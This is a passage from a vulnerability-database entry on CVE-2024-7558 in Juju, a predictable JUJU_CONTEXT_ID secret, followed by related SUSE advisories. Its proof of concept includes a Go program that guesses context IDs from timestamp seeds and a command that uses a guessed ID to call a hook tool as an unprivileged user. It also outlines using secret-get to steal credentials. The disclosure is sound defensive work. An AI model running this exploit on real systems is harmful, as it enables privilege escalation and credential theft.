Workarounds\nNo workaround. Upgrade will be required.\n\n### References\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L152\nhttps://github.com/juju/juju/blob/a5b7876263365977bd3e583f5325facdae73fbe4/worker/uniter/runner/context/contextfactory.go#L164\n\n### PoC\nWith a contrived example, a charm that sleeps indefinitely on its first hook, install. This charm is called sleepy.\n\n```\n.\n|-- hooks\n|   `-- install\n#!/bin/sh\nsleep 10000\n|-- manifest.yaml\nbases:\n  - name: ubuntu\n    channel: 22.04/stable\n    architectures:\n      - amd64\n|-- metadata.yaml\nname: sleepy\nsummary: a sleepy charm\ndescription: a sleepy charm that sleeps on install\n`-- revision\n1\n```\n\nWith sleepy deployed into a model, we have a unit with the name `sleepy/0` and an tag of `unit-sleepy-0`.\n\nWith access to the log file we can very quickly get the start time of the unit:\n```\nubuntu@juju-5e40c0-0:~$ cat /var/log/juju/unit-sleepy-0.log | grep \u0027unit \"sleepy/0\" started\u0027\n2024-08-06 05:10:07 INFO juju.worker.uniter uniter.go:363 unit \"sleepy/0\" started\n```\n\nIf we don\u0027t have access to the log, we could get pretty close by trying every second between when log file was created and now:\n```\nnobody@juju-5e40c0-0:/var/log/juju$ cat unit-sleepy-0.log\ncat: unit-sleepy-0.log: Permission denied\nnobody@juju-5e40c0-0:/var/log/juju$ stat unit-sleepy-0.log\n  File: unit-sleepy-0.log\n  Size: 1403      \tBlocks: 8          IO Block: 4096   regular file\nDevice: 10302h/66306d\tInode: 25967076    Links: 1\nAccess: (0640/-rw-r-----)  Uid: (  104/  syslog)   Gid: (    4/     adm)\nAccess: 2024-08-06 05:10:48.686975042 +0000\nModify: 2024-08-06 05:10:07.159133215 +0000\nChange: 2024-08-06 05:10:07.159133215 +0000\n Birth: 2024-08-06 05:10:06.965129276 +0000\n```\n\nWe can then pass that into this program:\n```\npackage main\n\nimport (\n\t\"flag\"\n\t\"fmt\"\n\t\"math/rand\"\n\t\"time\"\n)\n\nfunc main() {\n\tvar unitName string\n\tvar unitStartLogTime string\n\tvar currentHook string\n\tflag.StringVar(\u0026unitName, \"u\", \"sleepy/0\", \"\")\n\tflag.StringVar(\u0026unitStartLogTime, \"t\", \"2024-08-06 05:10:07\", \"time when the last \u0027INFO juju.worker.uniter uniter.go:363 unit %q started\u0027 log was written to /var/log/juju/unit-name-0.log\")\n\tflag.StringVar(\u0026currentHook, \"h\", \"install\", \"the current hook that is running right now\")\n\tflag.Parse()\n\n\tt, err := time.Parse(\"2006-01-02 15:04:05\", unitStartLogTime)\n\tif err != nil {\n\t\tpanic(err)\n\t}\n\n\tsources := []rand.Source{\n\t\trand.NewSource(t.Unix()),\n\t\trand.NewSource(t.Unix() - 1),\n\t\trand.NewSource(t.Unix() - 2),\n\t}\n\n\tfor i := 0; i \u003c 10; i++ {\n\t\tfor _, source := range sources {\n\t\t\tfmt.Printf(\"%s-%s-%d\\n\", unitName, currentHook, source.Int63())\n\t\t}\n\t}\n}\n```\n\nThis program will give us a list of `JUJU_CONTEXT_ID`s to try. We just need to try each one. In this case it was the first one, because we had enough information.\n\n```\n$ go run . -u sleepy/0 -t \"2024-08-06 05:10:07\" -h install\nsleepy/0-install-7349430268617352851\nsleepy/0-install-2171542415131519293\nsleepy/0-install-6564961386023494624\nsleepy/0-install-59904244413115609\nsleepy/0-install-6073989428498739633\nsleepy/0-install-2504995199508561544\nsleepy/0-install-1526670560532335303\nsleepy/0-install-2568216045630615950\nsleepy/0-install-8047402353801897930\n```\n\nUnfortunately, this worked too well.\n```\nnobody@juju-5e40c0-0:/var/log/juju$ JUJU_AGENT_SOCKET_NETWORK=unix JUJU_AGENT_SOCKET_ADDRESS=@/var/lib/juju/agents/unit-sleepy-0/agent.socket JUJU_CONTEXT_ID=sleepy/0-install-7349430268617352851 /var/lib/juju/tools/unit-sleepy-0/is-leader\nTrue\n```\n\nWith a more sophisticated attack, this could discover all the units on the machine, using the update-status hook, try a few thousand attempts per second to guess the start time and the current offset in the random source, then using secret-get hook tool, get some sort of secret, such as credentials to a system.",
  "id": "GHSA-mh98-763h-m9v4",
  "modified": "2024-10-09T22:48:18Z",
  "published": "2024-10-03T16:49:58Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/security/advisories/GHSA-mh98-763h-m9v4"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7558"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juju/juju/commit/ecd7e2d0e9867576b9da04871e22232f06fa0cc7"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/juju/juju"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2024-3173"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:H/SA:H",
      "type": "CVSS_V4"
    }
  ],
  "summary": "JUJU_CONTEXT_ID is a predictable authentication secret"
}

OPENSUSE-SU-2024:0350-1

Vulnerability from csaf_opensuse - Published: 2024-11-05 14:52 - Updated: 2024-11-05 14:52

Summary

Security update for govulncheck-vulndb

Severity

Important

Scope

56 vulnerabilities in this advisory, including CVE-2024-7558.

CVE-2024-7558

Recommended: 1 product

Open the full advisory

OPENSUSE-SU-2024:14447-1

Vulnerability from csaf_opensuse - Published: 2024-11-01 00:00 - Updated: 2026-09-20 21:20

Summary

govulncheck-vulndb-0.0.20241030T212825-1.1 on GA media

Severity

Moderate

Scope

44 vulnerabilities in this advisory, including CVE-2024-7558.

CVE-2024-7558

8 (High)


                
                  CVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Recommended: 4 products

Open the full advisory

SUSE-SU-2024:3911-1

Vulnerability from csaf_suse - Published: 2024-11-05 07:45 - Updated: 2024-11-05 07:45

Summary

Security update for govulncheck-vulndb

Severity

Important

Scope

44 vulnerabilities in this advisory, including CVE-2024-7558.

CVE-2024-7558

Recommended: 4 products

Open the full advisory

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

Related by attack behaviour

Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.

Action not permitted

CVE-2024-7558 (GCVE-0-2024-7558)

FKIE_CVE-2024-7558

GHSA-MH98-763H-M9V4

Impact

Patches

Workarounds

References

PoC

OPENSUSE-SU-2024:0350-1

OPENSUSE-SU-2024:14447-1

SUSE-SU-2024:3911-1

Tags

Sightings

Nomenclature

Related by attack behaviour